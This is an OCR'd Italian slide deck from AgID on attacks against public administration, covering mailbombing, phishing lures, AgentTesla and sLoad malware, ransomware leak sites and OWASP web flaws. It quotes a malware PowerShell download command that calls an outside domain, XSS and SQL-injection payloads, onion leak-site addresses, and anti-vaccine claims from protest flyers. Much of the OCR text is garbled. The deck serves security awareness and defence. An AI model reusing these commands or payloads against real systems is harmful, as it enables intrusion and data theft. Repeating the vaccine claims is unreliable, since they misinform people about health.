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Tipologie di attacchi informatici verso la PP. AA

Gianni Amato, AgID




Gli attacchi informatici

Attivita ostili nei confronti di una componente informatica, spesso compiute
sfruttando le debolezze della componente umana.
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Panorama delle minacce principali

Malware . - Esfiltrare
phishing db, credenziali, carte...

Vulnerabilita ransomware, ddos, breach...

[ Web attack ] - [ Monetizzare ]< [ Estorcere ]

DDoS B - [ Botnet ]
botnet zombie
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Flusso della minaccia in dettaglio

Vulnerabilita phishing botnet

N 7 /

[ Esfiltrare ] [ Inibire

db, email, cards Dos e DDoS

[Webattack Malware] DDoS ]

Monetizzare

|

[ Estorcere ] [ Riutilizzare ] [ Noleggiare ]




Gli attori: Le vittime - \

Target mirato, scelto per
{ brand o categoria specifica
\. J
Ve \
.- . L Nessun target specifico,
Le vittime, chi sono? attacchi massivi
\, J
. ( TN )
 Possono essere scelte o casuali > Vulnerabilita note
. .. .. . Default password
« Sistemi informatici esposti e - /
vulnerabili ( Phishing )
« Personale non adeguatamente \ Smisghing )
preparato ) .
e Eventidiinteresse nazionale > Clickday
\ J
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Gli attori: Gli attaccanti

 Criminali di strada

- Assoldati o in autonomia
- Singoli o in gruppo

e Hacktivisti Sabotare
.. con lo scopo di - Spi
* Terroristi g > prare
) . Sorvegliare
» Paesi (ostili?) -
« Anarchici Proteste
> Sit-in
Ambientalisti Mailbombing
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Mailbombing

 E una forma di protesta ultimamente molto utilizzata da «anarchici» e
«ambientalisti».

« Consiste nellinvio di grandi volumi di email verso un singolo indirizzo di posta
elettronica.

» Lo scopo e quello di farsi sentire provocando un disservizio: saturare la casella di
posta (DoS).

» Per coinvolgere «volontariamente» piu persone possibili I'attivita viene a volte
pubblicizzata anche sui social.

» Sono state osservati attacchi di mailbombing in cui si fornisce il testo e viene
schiesto di inviare una email dal proprio account di posta, in altri casi si mettono a
disposizione uno o piu server da cui inoltrare le email.
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Mailbombing

Lettera al presidente del Consiglio, Giuseppe Conte. Per una societa della

cura 253 Letters Sent

©Only 147 more until our g

La SocTeta della Cura

5 P 3 ENTER YOUR RETURN ADDRESS
Fuori dall'economia del profitto.

Siamo persone, associazioni, organizzazioni e movimenti sociali di questo Paese, impegnati
quotidianamente nella costruzione di una societa piu equa, giusta, ecologica, solidale. Abbiamo assistito
in questi anni al progressivo smantellamento dei nostri diritti e delle nostre tutele, a vantaggio di
un'economia del profitto sempre piu attenta agli interessi del privato che ha creato esistenze ai margini
e vite di scarto.

L'emergenza pandemica ha portato alla luce diseguaglianze, ingiustizie, una societa frammentata e
attraversata da fratture sociali sempre pil gravi. Per questo riteniamo che oggi pill che mai sia
necessario un cambio di rotta: le crisi sanitaria, economica, ambientale e climatica vanno
affrontate assieme, con un piano equo e unitario, bloccando le derive regionaliste.

L'emergenza non pud comportare discriminazioni tra i diritti delle persone, tra chi ha accesso a cure e
reddito e chi ne & escluso. Cosi si fanno piu profonde le diseguaglianze sociali, culturali e di genere, si

frantuma la societa in corporazioni, si rafforza la gerarchia fra vite degne e vite di scarto.
Italy v

Per questo chiedi alcuni pr i i immediati:

- Reddito per tutt* e aiuti adeguati fino alla fine dell'emergenza sanitaria START WRITING

- Vigilanza costante sul rispetto delle misure di prevenzione, salute e sicurezza in tutti i luoghi di lavoro

- Investimenti e assunzioni per garantire sanita e istruzione pubbliche, infrastrutture sociali, accoglienza,
casa, trasporti
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Mailbombing

Partecipa alla campagna “ADOTTA UN PARLAMENTAREY", un'azione di mailbombing rivolta a tutti | deputati e senatori italiani, per far sentire la nostra voce e
dire no alla Certificazione verde COVID (un vero e proprio apartheld).

Qui trovate tutte le istruzioni per aderire.

1. Bozze di mail da inviare a tutti | parlamentari

2. Indirizzi mail di Deputati e Senatori

3. Siti di riferimento per contattarli tramite form

4. Bozza di tweet e messaggi da inviare tramite soclal
5. Istruzioni per | Fuochi R2020

COSA STA SUCCEDENDO

Da lunedi 10 maggio nel parlamento italiano sara discussa la c{
ripresa clelle attivita economiche e sociali nel rispetto delle esi
“Certificazioni verdi COVID-19' (art. 9).

Con questa iniziativa si vuole contestare questa misura, prese
costituzionale e umano. Stiamo parlande di un vero e proprig
cittadini di serie A e serie Z.

Liobiettivo & quello di introdurre ovunque | passaporti vaccir]
livello globale, con una segnaletica sanitaria modificabile (vac
il suc enorme potere coercitivo sui non vaccinati. Come in Isr:
accedere a strutture e usufruire dei principali servizi essenziaj
Covid, saranno sostanzialmente esclusi dalla maggior parte d

Lunico modo per fermare questa usurpazione & quello di esere
farsi vaccinare, posto che esistono cure alternative la cui effic:
di tutto per negare e tacitare cio) e che i vaccini sono in fase s
letali.

DOMANI ALLE ORE 09:00
Mailbombing: Siamo qui
#sanatoriasubito! GOING =

@ Ti piace Siamo qui - Sanatoria subito

Se il ‘potere’ otterra questo controllo assoluto, perderemo i no

Attraverso questa iniziativa si vuole esercitare una pressione
modificare il loro voto e impedire cosi che possa essere approt

Siamo tanti e, unendoci attraverso unazione sistematica e cool
ed accolte. Dobbiamo chiedere con massima risoluzione la rim)|
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Campagne malevole

« La PA non e immune agli attacchi di malware tramite campagne malspam.

« Le comunicazioni della PA sono spesso sfruttati per confezionare campagne ad hoc
verso aziende o privati cittadini.

» Molte delle campagne riscontrate sono progettate da cyber criminali italiani.

» In alcuni casi (pochi) i malware sono stati progettati in autonomia dai criminali, in
altri casi viene fatto uso di servizi MaaS o di codice malevolo prelevato da forum di
settore.

» Lo scopo e sempre quello di esfiltrare informazioni: credenziali di accesso, estremi
di carte di credito.

» Periransomware, quelli piu recenti, non si ha evidenza di campagne massive.
Solitamente si tratta di campagne mirate verso un target specifico o di attivita in cui
'uso del ransomware € previsto in una fase successiva: dopo aver esfiltrato i dati.
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Campagne malevole

st . p ispon % Rispondi a tutti [~ | ~ Inoltra

Progetto riapertura parziale dell'attivita commerciale e produttiva ai fini della ripartenza
dell'economia: chiarimenti per le attivita

A
w

Ministero
dell'Economia
e delle Finanze

QOggetto: Progetto riapertura graduale dell'attivita commerciale e produttiva
ai fini della ripartenza dell'economia: indicazioni per le attivita

Il ministro dell'economia e delle finanze;

DISPONE URGENTEMENTE ai titolari d'impresa di verificare mediante
I'archivio allegato a questa email le ultime modifiche effettuate alle ordinanze
e I'eventuale corrispondenza della loro categoria di attivita

all'interno dei nuovi elenchi di attivita sospese, ed eventuali modalita
associate, in modo da gestire le riaperture con un ragionevole anticipo.

(Disposizioni finali)
Le disposizioni del presente decreto verranno rese effettive dalla data del
18/11/2020

Roma, ""17/11/2020™"

M salva [~

A | Prestazioni e Servizi

Dati i problemi riscontrati con la passata Indennita 600 euro (Marzo 2020) INPS ha cambiato le modalita di erogazione del bonus
per una maggiore fluidita e prontezza nel caso di nuove Indennita.

Verra quindi richiesto di aggiungere una Carta di Credito/Debito sulla quale verranno accreditati i fondi per poi essere prelevati
nei 35.000 ATM/Banmcomat in tutta Italia.

& Autenticazione

Codice Fiscale

Codice Fiscale

Istruzioni per l'accesso
Non ho pil accesso al cellulare

Richiedi e gestisci il tuo account
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Dati esfiltrati da malware (AgentTesla)

URL:

Username:
Password:
Application:Firefox

.gov.it

URL:

Username
Password:
Application:Firefox

.gov.it

URL:"

Username:
Password:¢
Application:Firefox

URL .
Username:
Password:¢
Application:Firefox

.struzione.it

URL:

Username::
Password:.
Application:Firefox

.istruzione.it

URL:

Username:
Password:
Application:Firefox

.istruzione.it

URL:
Username:
Password:

.istruzione.it

-
v* Agent Tesla -3.2.9,0 -English

LOGGER PASSWORD RECOVERY

INSTALLATION

INSTALLATION

[] Add to Startup

T SETTINGS

[ Hide File  [] Persistance

Stantup Folder:

Iﬁpphca tionData v ]

OTHERS BUILD SCANNER

EXPLOIT

[] MeftFile [] UAC Bypass [] Delayexec: g

[C] Add UAC Manifest [ Kill Process:

OPTIONS

[ Block Anti-viruses [ Protected Process [] Block Rightelick (] Restart PC [[] usB Spread
Process Killer:
[ Task Manager [ cmo ) Registry [] System Restore
Disable:
[7] Task Manager ] cMmD [ Registry [[] System Restore [C] MSConfig
[] Run [] Folder Options [] Centrol Panel
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Posta Elettronica Certificata (e compromessa)

Da o 6 Rispondi | *9 Rispondi a tutti |v || ~ Inoltra | Altro w
Oggetto 30/05/21, 23:37
A p

come da accordi in allegato trovi fattura di cortesia non valida ai fini fiscali. Il documento in formato
elettronico e' stato inviato al SDI come da normativa fatturazione elettronica.
Distinti saluti

Il presente messaggio & diretto esclusivamente al suo destinatario e pud contenere informazioni di natura

riservata. Chiunque lo abbia ricevuto per errore & pregato di darne notizia immediatamente al mittente e
di distruggere la copia pervenutagli. Qualsiasi altro suo utilizzo & wietato.

1 copia-frcor- 1480842 9008.7z 105 kB

powershell -¢ &{cp c\Windows\systern32\bitsadmin.exe Yprogramdata?eioorkVWw.exe ftransfer BPVIoeZe
Zeprogramdata®oorkViWw.exe;cp ¢\ Windows) SysWOWE4\ bitsadmin.exe https://goldenwestway.com/goldy/14505421009/ developer.doc
Feprogramdata®cioorkViVw,exe } %eprogramdata®developer.doc
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Campagne malware via PEC (sLoad)

cAlldates January 2021 February 2021 March 2021 May 2021

Action ——— w|| Gao | 0of 6 selected

O T CAMPAIGN NAME PUSH THEME MALWARE FILETYPE loc METHOD COUNTRY CREATED AT

O ¥ Campagna sLoad via PEC v Pagamenti Sload 7z, wsf 32 L) Italy May 31, 2021, 11:51 a.m.
O ¥ Campagna sLoad via PEC v Pagamenti Sload zip, wsf 13 L) Italy May 10, 2021, 4:15 p.m.
O ¥ Campagna sLoad italiana via PEC v Pagamenti Sload zip, wsf 75 L) Italy March 29, 2021, 5:40 p.m.
O ¥ Campagna sLoad italiana via PEC v Pagamenti Sload zZip m % Italy March 1, 2021, 11:12 a.m.
O ¥ Campagna sLoad italiana via PEC v Pagamenti Sload zip, vbs 168 % Italy Feb. 8, 2021, 10:08 a.m.
] ¥ Campagna sLoad italiana via PEC v Pagamenti Sload zip 58 L Italy Jan. 11, 2021, 10:23 a.m.
6 campaigns

* 6 campagne PEC negli ultimi 6 mesi (2021), unico malware: sLoad (https://cert-agid.gov.it/tag/sload/)
« Dal 2019 al 2021 il numero complessivo delle campagne malware veicolate via PEC é sceso del 90%
« AGID mette a disposizione una istanza per la condivisione di loC tra Gestori per le campagne PEC
« |l contrasto € quasi immediato
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Malware veicolato in Italia
Gennaio - Giugno 2021

33 malware family

« 706 campagne malevole gestite
« 7803 loC condivisi
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Temi sfruttati nelle campagne malevole

Gennaio — Giguno 2021

35 theme
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Allegati utilizzati nelle campagne malevole
Gennaio — Giguno 2021

33 attached type

19
15
1
‘' H
3 ~ M
& F S

x‘?

-‘,‘:g ‘\ Jr\'-? A -‘,';‘E _.:'L-é\ﬁ-
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Data Breach e/o Data Leak?

Data breach

Attacco mirato ad ottenere i dati privati di una organizzazione da parte di una entita
non autorizzata.

Un data breach e solitamente dovuto ad una compromissione di un database o di
credenziali di accesso ai dati della vittima.

Data leak

Trasmissione non autorizzata di dati da dentro una organizzazione verso I'esterno.
Le cause possono essere attribuite anche ad esposizione accidentale di informazioni
dovute a vulnerabilita di tipo Senstive Data Exposure o ad errati processi aziendali di
conservazione dei dati.
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Data leak

« Sono sempre esistiti ma oggi sembra essere diventata una modaf TR
- E nato un mercato di nicchia in forte crescita

» | black market sono migrati dal dark al deep web e a Telegram
* Prezzi sempre piu accessibili

Quali dati in vendita? Ma soprattutto,
sono sempre in vendita?

« Dati anagrafici

 Email

* Credenziali

« Carte di credito

« Metadati: chi ha fatto cosa, quando e in
guali circostanze
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Double extortion

& Dopple leaks x ‘ +

&« & @ hpooddosa3dxdognfxpgcerjwnsigvsim7kvEhvmhh2ygczaxy3jégnwad.onion/det omune-di-Bresci

Home

Proofs Leaks Mirror Tor search...

Comune di Brescia:

URL

hitps:/Awww.comune.brescia.it

Details

L'accesso agli atti del Comune si esercita mediante esame ed estrazione di copia. L'esame dei documenti & gratuito, mentre il
rilascio di copia & subordinato al rimborso dei costi di riproduzione (10 centesimi di euro per foglio A4 e 20 centesimi di euro per
foglio A3), salve le dispaosizioni vigenti in materia di bollo. La richiesta di accesso deve essere motivata.

Images:

Example files:

Accounting ptl.7z.001 (102400Kb
Accounting pt1.7z.002 (102400Kb
Accounting pt1.7z.003 (102400Kb
Accounting pt1.7z.004 (102400Kb
Accounting ptl.7z.005 (102400Kh)
Accounting pt1.7z.006 (102400Khb)
Accounting ptl.7z.007 (102400Kh)
Accounting ptl.7z.008 (102400Kb)
Accounting ptl.7z.009 (102400Kb)
Accounting pt1.7z.010 (102400Kh)
Accounting pt1.72.011 (58593Kb)

Accounting pt2.7z.001 (102400Kh)

Avaddon Info x |+
&« C' @ avaddongun7rngel.onion/postivillafrancadasti B|-% O« =
A Main  WBFulldump W@ Contact Us
New companies  COMUNE DI VILLAFRANCA Full dumps

Oritani - Valley Bank DIASTl EVGA
Next update: 4 Days 9:53:18 Published data: 16.69 GiB

[ DDOS |

. Company: COMUNE DI VILLAFRANCA D'ASTI .

Quad State Gauging & Vistex
Measurement Address: VIA ROMA 50 VILLAFRANCA D'ASTI, ASTI, Bl dley SERER EE
Next update: Coming soon... 14018 Italy

(CEEE) Website: www.comuneuvillafrancadasti.at.it Letton Percival
;a:;rr:)];osr‘?l;\:r(i:(l)oss Email: info@comuneuvillafrancadasti.at.it Published data: 977.01 MiB

villafranca.dasti@cert.ruparpiemonte.it

Next update: 5 Days 18 : 00 : 03 .

CIE3  Phone:  +39-0141943071 SL Corporation
Cerglin Memes Files: n Published data: 31.37 GiB
Next update: 5 Days 16 : 29 : 24 www.comuneuwvillafrancadasti.at.it_FDump.?

s Henry Oil & Gas

[ DDOS | 136.4 MiB 4
TIMPANOGOS HARLEY- Published data: 40.56 GiB
DAVIDSON
Next updiate: & Days 17 : 27 - 08 COMUNE DI VILLAFRAII‘JCA D'ASTI, the company does PT Angkasa Pura |

= not want to cooperate with us, and therefore we BUlTel s ey TS @

. completely leak all their valuable files and documents.
Al Imtiaz Investment
Company - KS.C ACER FINANCE
We have all your valuable documents: financial
Next update: 5 Days 15:51: 31 documents, agreements, contracts, banking, [Plafelizs i ety
payments, applications and permits, ID cards, medical

Estendo S.p.A records, personal documents and much more. NIUIMAN / ZEETANK

Dopple Ransomware

UNIONE EUROPEA

Avaddon Ransomware
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Enel Group (www.enel.com)

Sectet data: https:/le.pcloud.link/publink Passwor ) THE SECRET DATA IS PUBLISHED
FIRST PART OF pcloud link/publink/show?code=XZbKy7Zalmk6Fh3hdhyOYirg XdnhOE k
Around Group aka Enel S.p.A
In7 first part and start analyze every file for interesting things that will be posted here
ALTRE Backup GX-OPO | | Energy Market Projects
AUGUSTA Chile <. ’
BARI Coiombia | | Facturiimage Trust
BASTARDO o - e
RGAM uridi
BERGAMO DOES ) | turidic
BOLOGNA - :
SOLAHO Dossier Impianti :
BRINDIS! E - | Enfvﬁyy’v{ianagemen(
-
CENTRO_EP F } | PMacControlling
COAL_BRINDISI FRANCE - part J | Innovation&bd
FUSI - e
COAL_FUSINA GREECE iy
COAL_LIGURIA TALY - parti | Marketing-PM
] §
COAL_SULCIS mpart
= ITALY2 B smcimes —
COAL_TORRE_NORD e
m - } | PEGiurgiu
CUNEO < —_
DOMODOSSOLA Migrazione_Barbieri ) | sp-Gurgiv
EMILIA_TOSCANA_EP Migrazione_Procurement |
ER_TO_MA_EGP MIGRAZIONE_SIPAD_LH e
FUSINA Migrazione_Sterpilla i 200-Chsgiu
- L
SERICME mig_grinpad
GE0 NI AT | Specistrequest_admi
GEO_BIOMASSE il - \part
HYDRO_NC_BOLOGNA ROMANLA
z ! Supply
HYDRO NC CAGLIARI -

Recenti leak con pubblica minaccia di estorsione

CORPORATE LEAKS

INTA

Luxottica. Part 3, 4, 5, other1. ©

LUXOTICA_t _filelist.oa

LUXOTICA_L

LUXOTICA,

LUXOTICA_other_part_L.far

Luxottica Group S.p.A. is an Italian eyewear conglomerate and the world's largest

company in the eyewear industry.It is based in Milan, kaly.

As a vertically integrated company, Luxotiica designs, manufactures, distributes and retails
its eyewear brands, including LensCrafters, Sunglass Hut, Apex by Sunglass Hut, Pearle
Vision, Target Optical, Eyemed vision care plan, and Glasses.com. Iis best known brands
are Ray-Ban, Persol, and Oakley.

Luxotiica also makes sunglasses and prescription frames for designer brands such as
Chanel, Prada, Giorgio Armani, Burberry, Versace, Dolce and Gabbana, Miu Miu and Tory
Burch

In January 2017, Luxottica announced a merger with Essilor. The combined entity would
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Ransomware + data leak

| ransomware sono noti per la cifratura dei dati e la conseguente richiesta di riscatto per
liberarli. Di recente si € parlato di data leak causato dai ransomware Maze, NetWalker e
Nefilim, ma la realta e diversa, il Cert-AgID ha analizzato i sample nel dettaglio e dimostrato
che questi ransomware non dispongono di alcuna componente in grado di esfiltrare i dati.

Maze: https://cert-agid.gov.it/news/il-ransomware-maze-chiude-era-davvero-in-grado-di-esfiltrare-dati/
NetWalker: https://cert-agid.gov.it/news/netwalker-il-ransomware-che-ha-beffato-lintera-community/
Nefilim: https://cert-agid.qov.it/news/il-ransomware-nefilim/

F N\

Per liberare i

. . . Inoculazione ed L . dati
Attacco remoto Esfiltrazione dei . Richiesta di \ Y
. esecuzione del .
al web server dati riscatto , N
ransomware
Evitarne la

divulgazione

\_ _J

Double extortion
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https://cert-agid.gov.it/news/il-ransomware-maze-chiude-era-davvero-in-grado-di-esfiltrare-dati/
https://cert-agid.gov.it/news/il-ransomware-maze-chiude-era-davvero-in-grado-di-esfiltrare-dati/
https://cert-agid.gov.it/news/il-ransomware-maze-chiude-era-davvero-in-grado-di-esfiltrare-dati/
https://cert-agid.gov.it/news/il-ransomware-maze-chiude-era-davvero-in-grado-di-esfiltrare-dati/
https://cert-agid.gov.it/news/il-ransomware-maze-chiude-era-davvero-in-grado-di-esfiltrare-dati/
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Fake breach e leak

Pubblicazione parziale di dati riciclati da altri leak. La procedura di estorsione resta identica

a quella dei casi reali.
E’ successo al dipartimento di polizia di Minneapolis, ma a seguito delle analisi € emerso

che 659/689 account erano parte del «dump» di LinkedIn del 2012.
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risorse per gli attaccanti

OpenBugBounty.org 0BB-1032

M rica.crea.gov.it Cross Site Scripting Vulnerability

Report ID: 0BB-1032371

Security Researcher Oxrocky, a holder of & badges for responsible and coordinated
disclosure, found Cross Site Scripting security vulnerability affecting rica.crea.gov.it website
and its users.

Following the coordinated and responsible vulnerability disclosure guidelines of the ISO
29147 standard, Open Bug Bounty has:

a. verified the vulnerability and confirmed its existence;

b. notified the website operator about its existence.

Affected Website: rica.crea.gov.it

Open Bug Bounty Program: Create your bounty program now. It's open and free.
Vulnerable Application: Custom Code

Vulnerability Type: XSS [Cross Site Scriptingl / CWE-79

CVSSv3 Score: 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/1:L/A:N]
Disclosure Standard: Coordinated Disclosure based on IS0 29147 guidelines

Discovered and Reported by: Oxrocky
Remediation Guide: OWASP XSS Prevention Cheat Sheet

Bugzilla Vulnerability Data

JIRA Vulnerability Data [ Configuration ]
Export Vulnerability Data: Mantis Vulnerability Data

Splunk Yulnerability Data

XML Vulnerability Data [ XSD ]

Vulnerable URL:
https://rica.crea.gov.it/search.php?search_term="><video

src=l href=1
onerror="javascript:alert('OPENBUGBOUNTY')"></video>
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Web Application Attack

Le applicazioni web sono in grado di fornire risposte (informazioni) alle richieste dei
visitatori grazie all'uso dei database. Se I'applicazione risulta essere vulnerabile
I'intera base dati sara esposta a rischio.

Top 10 Web Application Security Risks

1. Injection. Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is
sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter
into executing unintended commands or accessing data without proper authorization.

2. Broken Authentication. Application functions related to authentication and session management are often
implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, of to
exploit other implementation flaws to assume other users’ identities temporarily or permanently.

3. Sensitive Data Exposure. Many web applications and APIs do not properly protect sensitive data, such as

. . PN . financial, healthcare, and Pll. Attackers may steal or modify such weakly protected data to conduct credit
| I at t aC C h I I f r e e n t I card fraud, identity theft, or other crimes. Sensitive data may be compromised without exira protection,
G p u q u such as encryption at rest or in transit, and requires special precautions when exchanged with the browser.
4. XML External Entities (XXE). Many older or poorly configured XML processors evaluate external entity
. . - references within XML decuments. External entities can be used to disclose internal files using the file URI
Top 1 0 owas p https://owasp.org/www-project-top-ten/ P el e S, I ot . ool e e, il cfvs ks
. = - 5. Broken Access Control. Restrictions on what autheniicated users are allowed to do are often not properly
enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as
access other users' accounts, view sensitive files, modiify other users’ data, change access rights, etc.
6. Security Misconfiguration. Security misconfiguration is the most commonly seen issue. This is commonly
. . . aresult of insecure default il ad hoc open
misconfigured HTTP headers, and verbose error messages containing sensitive information. Not only must
Iniection g e e e et ey ot
patched/upgraded in a timely fashion.

7. Cross-Site Scripting XSS. XSS flaws occur whenever an application includes untrusted data in a new

Y web page without proper validation or escaping, or Updates an existing web page with user-supplied data

o ensitive Data Exposure oy wores A e o S 5 s st ot s

victim's browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

8. Insecure D Insecure i leads to remote code execution. Even if

. . . deserialization flaws do not result in remote code execution, they can be used to perform attacks, including
° rOS S - | e ( :rl p |n g replay attacks, injection atacks, an priviege escaation atacks

9. Using Components with Known Vulnerabilities. Components, such as libraries, frameworks, and other
software modules, run with the same privileges as the application. If a vulnerable component is exploited
such an attack can facilitate serious data loss or server takeover. Applications and APIs using components

[ with known vulnerabilities may undermine application defenses and enable various aitacks and impacts

LELRCI ] 10. Insufficient Logging & Monitoring. Insufficient logging and monitoring, coupled with missing or ineffective
integration with incident response, allows attackers 1o further attack systems, maintain persistence, pivot to
more systems, and tamper, extract, or destroy data. Most breach studies show time to detect a breach is

[ ] over 200 days, typically detected by extemal parties rather than intemal processes or monitaring.
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Perché esistono ancora queste vulnerabilita?

» Perché l'obiettivo € quello di erogare un servizio e non di metterlo in sicurezza.

» Perche sviluppare in sicurezza richiede piu tempo (+ righe di codice).

« Perche il VA/PT non viene quasi mai richiesto.

» Perche chi effettua un VA/PT si attende un «OK» che li sollevi a vita da ogni
responsabilita.

* Perche i CMS non vengono aggiornati.

» Perché sifa abuso di plugin di terze parti, spesso obsoleti /0 non mantenuti.




SQL injection

| dati passati in input da un utente malintenzionato possono interferire con le query
che l'applicativo effettua al proprio database e di conseguenza restituire informazioni
senza adeguata autorizzazione.

Un esempio

GET: https://insecure-hospital.com/progetti?categoria=covid
SQL: SELECT * FROM progetti WHERE categoria = 'covid' AND visibile = 1

visibile = ] mostra solo 1 progetti che possono essere visibili al pubblico

GET: https://insecure-hospital.com/progetti?categoria=covid'—-

SQL: SELECT * FROM progetti WHERE categoria = 'covid'—--' AND visibile = 1

—— commento in SQL l

SQL: SELECT * FROM progetti WHERE categoria = 'covid'

restituirad in output tutti 1 progetti, compresi quelli con flag visibile = ()
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Sensitive Data Exposure

La priorita dello sviluppatore e quella di produrre un'applicazione funzionante, la
sicurezza e (quasi) sempre pianificata come step successivo ed alla fine dimenticata,
ignorata o fatta male a discapito della protezione dei dati e dei sui utenti.

Index of /admin/backup

Un esempio

Name Last modified Size Description

a Parent Directory -
API token esposti nel codice sorgente B FTP_ts 1oz 2020-04-27 08:20 63K

Informazioni sensibili trasmesse o memorizzate in chiaro dﬁ‘ﬂbm connect.php 2020-04-27 09:20 300

. . . db_dump.sql 2020-04-27 09:21 98K
Credenz lall debOll old_pass txt 2020-04-27 09:22 63K
Cartelle annidate o sottodomini dimenticati

Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.5 Server at 127.0.0.1 Port 80
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Cross-Site Scripting (XSS) Reflected o Persistent

Attacchi che sfruttano le debolezze di sicurezza insite nel codice dell'applicazione web
per eseguire Javascript lato client.
L'input utente viene incluso nella pagina senza validarne il contenuto, il codice arbitrario
viene eseguito consentendo all'aggressore di controllare il browser oppure, ove
possibile, di utilizzare la sessione della vittima nel contesto dell'applicativo.

Un esempio

GET:
RES:

GET:
RES:

https: //insecure-hospital.com/search?text=covid
<p>Search: covid</p>

PHPSESSID =qd56108djbiu823gr82copvbtd

OK

https://insecure-hospital.com/search?text=<script>alert(document.cookie)</script>

PHPSESSID=qd66I08djbtu823gr82c90vbt4
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Proteggersi da questi attacchi?

Antivirus e protezioni perimetrali non sono sufficienti a contrastare le minacce appena
descritte.

Quindi, cosa possiamo fare?

« Formare e sensibilizzare gli sviluppatori sui rischi legati a queste tipologie di
vulnerabilita (rif. OWASP).

« Mantenere i framework aggiornati all'ultima release. Limitare I'uso di plugin di terze
parti.

« Sfruttare al meglio i vantaggi della crittografia per memorizzare i dati nel DB e per la
trasmissione delle informazioni.

« Effettuare periodicamente code review e VA/PT.

« Schedulare un processo di backup.
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Come procedere se un attacco e andato a buon fine?

» Gestire I'incidente con il supporto di un team di esperti;

 ldentificare ed analizzare la natura della violazione;

« Determinare la tipologia e la quantita dei dati eventualmente compromessi;
» Rilevare la possibilita di esfiltrazione;

» Predisporre un piano di remediation;

* Rilevare ed acquisire le evidenze informatiche;

« Estrapolare gli indicatori di compromissione (loC);

« Utilizzare gli loC per individuare ulteriori minacce della stessa tipologia;

« Valutare se e con chi condividere gli artefatti.
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